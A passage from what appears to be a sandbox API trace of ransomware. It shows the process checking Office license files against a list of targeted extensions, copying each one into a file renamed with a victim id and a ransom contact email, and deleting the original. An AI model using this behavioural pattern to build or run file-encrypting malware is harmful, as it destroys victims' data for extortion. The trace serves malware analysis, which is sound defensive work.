lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.561] lstrlenW (lpString=".jpg") returned 4 [0182.561] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.562] lstrlenW (lpString=".doc") returned 4 [0182.562] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.562] lstrlenW (lpString=".docx") returned 5 [0182.562] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.562] lstrlenW (lpString=".pdf") returned 4 [0182.562] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.562] lstrlenW (lpString=".xls") returned 4 [0182.562] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.562] lstrlenW (lpString=".xlsx") returned 5 [0182.562] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.562] lstrlenW (lpString=".ppt") returned 4 [0182.562] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.562] lstrlenW (lpString=".zip") returned 4 [0182.562] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.562] lstrlenW (lpString=".rar") returned 4 [0182.562] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.562] lstrlenW (lpString=".bz2") returned 4 [0182.562] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.562] lstrlenW (lpString=".7z") returned 3 [0182.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.562] lstrlenW (lpString=".dbf") returned 4 [0182.562] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.562] lstrlenW (lpString=".1cd") returned 4 [0182.562] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0182.563] lstrlenW (lpString=".jpg") returned 4 [0182.563] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.563] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.563] lstrlenW (lpString="ExcelR_Retail-pl.xrm-ms") returned 23 [0182.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.564] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=10627) returned 1 [0182.564] CloseHandle (hObject=0x388) returned 1 [0182.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220 [0182.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.565] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.565] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0182.566] GetLastError () returned 0x0 [0182.566] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2983, lpOverlapped=0x0) returned 1 [0182.569] WriteFile (in: hFile=0x344, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2990, lpOverlapped=0x0) returned 1 [0182.682] ReadFile (in: hFile=0x388, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.682] WriteFile (in: hFile=0x344, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x102, lpOverlapped=0x0) returned 1 [0182.683] SetEndOfFile (hFile=0x344) returned 1 [0182.683] CloseHandle (hObject=0x344) returned 1 [0182.683] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.683] SetEndOfFile (hFile=0x388) returned 1 [0182.687] CloseHandle (hObject=0x388) returned 1 [0182.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1 [0183.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.397] lstrlenW (lpString=".doc") returned 4 [0183.397] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.397] lstrlenW (lpString=".docx") returned 5 [0183.397] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.397] lstrlenW (lpString=".pdf") returned 4 [0183.397] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.397] lstrlenW (lpString=".xls") returned 4 [0183.397] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.397] lstrlenW (lpString=".xlsx") returned 5 [0183.397] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.397] lstrlenW (lpString=".ppt") returned 4 [0183.397] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.397] lstrlenW (lpString=".zip") returned 4 [0183.397] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.397] lstrlenW (lpString=".rar") returned 4 [0183.397] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.397] lstrlenW (lpString=".bz2") returned 4 [0183.397] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.397] lstrlenW (lpString=".7z") returned 3 [0183.397] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.398] lstrlenW (lpString=".dbf") returned 4 [0183.398] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.398] lstrlenW (lpString=".1cd") returned 4 [0183.398] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.398] lstrlenW (lpString=".jpg") returned 4 [0183.398] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.398] lstrlenW (lpString=".doc") returned 4 [0183.398] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.398] lstrlenW (lpString=".docx") returned 5 [0183.398] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.398] lstrlenW (lpString=".pdf") returned 4 [0183.398] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.398] lstrlenW (lpString=".xls") returned 4 [0183.398] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.398] lstrlenW (lpString=".xlsx") returned 5 [0183.398] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.398] lstrlenW (lpString=".ppt") returned 4 [0183.398] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.399] lstrlenW (lpString=".zip") returned 4 [0183.399] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.399] lstrlenW (lpString=".rar") returned 4 [0183.399] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.399] lstrlenW (lpString=".bz2") returned 4 [0183.399] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.399] lstrlenW (lpString=".7z") returned 3 [0183.399] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.399] lstrlenW (lpString=".dbf") returned 4 [0183.399] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.399] lstrlenW (lpString=".1cd") returned 4 [0183.399] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0183.399] lstrlenW (lpString=".jpg") returned 4 [0183.399] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.399] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0183.399] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 43 [0183.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.793] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=22224) returned 1 [0183.793] CloseHandle (hObject=0x2a8) returned 1 [0183.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0183.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.794] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.794] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0183.798] GetLastError () returned 0x0 [0183.799] ReadFile (in: hFile=0x2a8, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x56d0, lpOverlapped=0x0) returned 1 [0183.801] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x56e0, lpOverlapped=0x0) returned 1 [0183.802] ReadFile (in: hFile=0x2a8, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.802] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x12a, lpOverlapped=0x0) returned 1 [0183.802] SetEndOfFile (hFile=0x374) returned 1 [0183.802] CloseHandle (hObject=0x374) returned 1 [0183.803] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.803] SetEndOfFile (hFile=0x2a8) returned 1 [0183.806] CloseHandle (hObject=0x2a8) returned 1 [0183.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0183.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.807] lstrlenW (lpString=".doc") returned 4 [0183.807] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.807] lstrlenW (lpString=".docx") returned 5 [0183.807] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.807] lstrlenW (lpString=".pdf") returned 4 [0183.807] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.807] lstrlenW (lpString=".xls") returned 4 [0183.808] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.808] lstrlenW (lpString=".xlsx") returned 5 [0183.808] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.808] lstrlenW (lpString=".ppt") returned 4 [0183.808] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.808] lstrlenW (lpString=".zip") returned 4 [0183.808] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.808] lstrlenW (lpString=".rar") returned 4 [0183.808] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.808] lstrlenW (lpString=".bz2") returned 4 [0183.808] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.808] lstrlenW (lpString=".7z") returned 3 [0183.808] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.808] lstrlenW (lpString=".dbf") returned 4 [0183.808] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.808] lstrlenW (lpString=".1cd") returned 4 [0183.808] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.808] lstrlenW (lpString=".jpg") returned 4 [0183.808] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.808] lstrlenW (lpString=".doc") returned 4 [0183.808] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.808] lstrlenW (lpString=".docx") returned 5 [0183.809] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.809] lstrlenW (lpString=".pdf") returned 4 [0183.809] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.809] lstrlenW (lpString=".xls") returned 4 [0183.809] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.809] lstrlenW (lpString=".xlsx") returned 5 [0183.809] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.809] lstrlenW (lpString=".ppt") returned 4 [0183.809] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.809] lstrlenW (lpString=".zip") returned 4 [0183.809] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.809] lstrlenW (lpString=".rar") returned 4 [0183.809] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.809] lstrlenW (lpString=".bz2") returned 4 [0183.809] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.809] lstrlenW (lpString=".7z") returned 3 [0183.809] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.809] lstrlenW (lpString=".dbf") returned 4 [0183.809] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.809] lstrlenW (lpString=".1cd") returned 4 [0183.809] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0183.809] lstrlenW (lpString=".jpg") returned 4 [0183.809] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.810] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0183.810] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 37 [0183.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.811] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=21977) returned 1 [0183.811] CloseHandle (hObject=0x2a8) returned 1 [0183.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0183.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.812] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.812] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0183.817] GetLastError () returned 0x0 [0183.817] ReadFile (in: hFile=0x2a8, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x55d9, lpOverlapped=0x0) returned 1 [0183.819] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x55e0, lpOverlapped=0x0) returned 1 [0183.821] ReadFile (in: hFile=0x2a8, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.821] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0183.821] SetEndOfFile (hFile=0x374) returned 1 [0183.821] CloseHandle (hObject=0x374) returned 1 [0183.821] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.821] SetEndOfFile (hFile=0x2a8) returned 1 [0183.826] CloseHandle (hObject=0x2a8) returned 1 [0183.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1 [0183.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0183.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0183.827] lstrlenW (lpString=".doc") returned 4 [0183.827] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.827] lstrlenW (lpString=".docx") returned 5 [0183.827] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.827] lstrlenW (lpString=".pdf") returned 4 [0183.827] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.828] lstrlenW (lpString=".xls") returned 4 [0183.828] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.828] lstrlenW (lpString=".xlsx") returned 5 [0183.828] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.828] lstrlenW (lpString=".ppt") returned 4 [0183.828] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0183.828] lstrlenW (lpString=".zip") returned 4 [0183.828] lstrcmpiW (lpString1=".zip", lpString2="m-ms") 